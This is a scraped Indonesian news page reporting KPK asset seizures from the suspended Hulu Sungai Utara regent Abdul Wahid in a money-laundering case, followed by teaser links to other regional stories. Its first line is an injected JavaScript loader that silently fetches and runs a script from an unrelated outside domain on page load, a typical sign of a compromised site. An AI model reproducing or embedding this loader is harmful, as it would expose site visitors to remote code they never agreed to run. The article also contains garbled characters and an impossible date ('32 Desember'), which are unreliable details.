(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Tim penyidik Komisi Pemberantasan Korupsi (KPK) masih ‘berkeliaran’ di Kota Amuntai mencari dan menyita barang bukti dugaan hasil korupsi Bupati HSU non aktif Abdul Wahid.
Turun ke lapangan ke Paliwara dan Palampitan, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara (HSU), Senin (10/1/2022) malam, tim KPK melakukan penyitaan sejumlah aset milik Abdul Wahid yang diduga diperoleh dari cara haram selama menjadi orang nomor satu di HSU.
Dibantu pengawalan ketat personel Polres HSU, sejumlah aset diduga milik Bupati HSU nonaktif Abdul Wahid kembali disita KPK. Mobil patroli Polres HSU dari pantauan Kanalkalimantan.com, ikut mengawal proses penyitaan sejumlah aset yang dimulai pukul 20.00 Wita atau selepas shalat Isya.
Aset dugaan didapat dari cara haram itu telah ditandai segel KPK berupa bangunan berlantai dua yang belum rampung berupa klinik di Paliwara, Kecamatan Amuntai Tengah.
Baca juga:Â Vaksinasi Anak Dimulai di SDN 1 Guntung Paikat, Kadinkes: Akhir Januari Semua Anak 6-11 Tahun Tervaksin
Rencananya, klinik itu akan beroperasi dengan bekerjasama dengan sejumlah dokter spealisis dari fasilitas kesehatan milik Pemkab HSU.
Sebuah bangunan sarang burung walet di Palampitan, turut disegel KPK. Mereka memasang papan penyitaan dengan pengawalan personel polidi. Juga ada sebuah rumah turut disita KPK persis berada di seberang kediaman Abdul Wahid di Paliwara.
Berdasar informasi dihimpun Kanalkalimantan.com, sebelumnya tim penyidik KPK dikabarkan telah memeriksa adik kandung Wahid bernama Farid di Polres HSU pada Sabtu (8/1/2021). Farid disebut-sebut diduga menyimpan 21 sertifikat tanah milik Abdul Wahid.
Penyitaan tanah dan bangunan milik Abdul Wahid ini berdasar Surat Perintah Penyidikan Nomor Sprin.Dik.105/DIK. 00.01/11/2021 tanggal 22 Desember 2021 dan Surat Perintah Penyitaan Nomor Sprin.Sita/395/DIK.01.0501/12/2021 tanggal 32 Desember 2021.
Baca juga:Â BPOM: Vaksin Merah Putih Bisa Kantongi Izin Juni Mendatang
Penyitaan tanah dan bangunan milik Abdul Wahid, usai KPK menetapkan Bupati HSU nonaktif sebagai tersangka tindak pidana pencucian uang (TPPU) atas penerimaan suap dari fee proyek yang ada di Dinas PUPR HSU, serta Pemkab HSU selama empat tahun, sejak tahun 2019-2021.
Kapolres HSU AKBP Afri Darmawan mengakui tim penyidik KPK berada di Amuntai selama dua pekan sejak Selasa (4/1/2022) hingga Senin (10/1/2022) dalam proses penyidikan dengan memeriksa puluhan saksi dan lainnya.
“Untuk materi pemeriksaan dan lainnya menjadi kewenangan KPK. Kami hanya diminta untuk pengawalan dan pengamanan tim penyidik KPK selama berada di wilayah hukum Polres HSU,†tegas Kapolres HSU. (kanalkalimantan.com/dew)
Reporter : dew
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.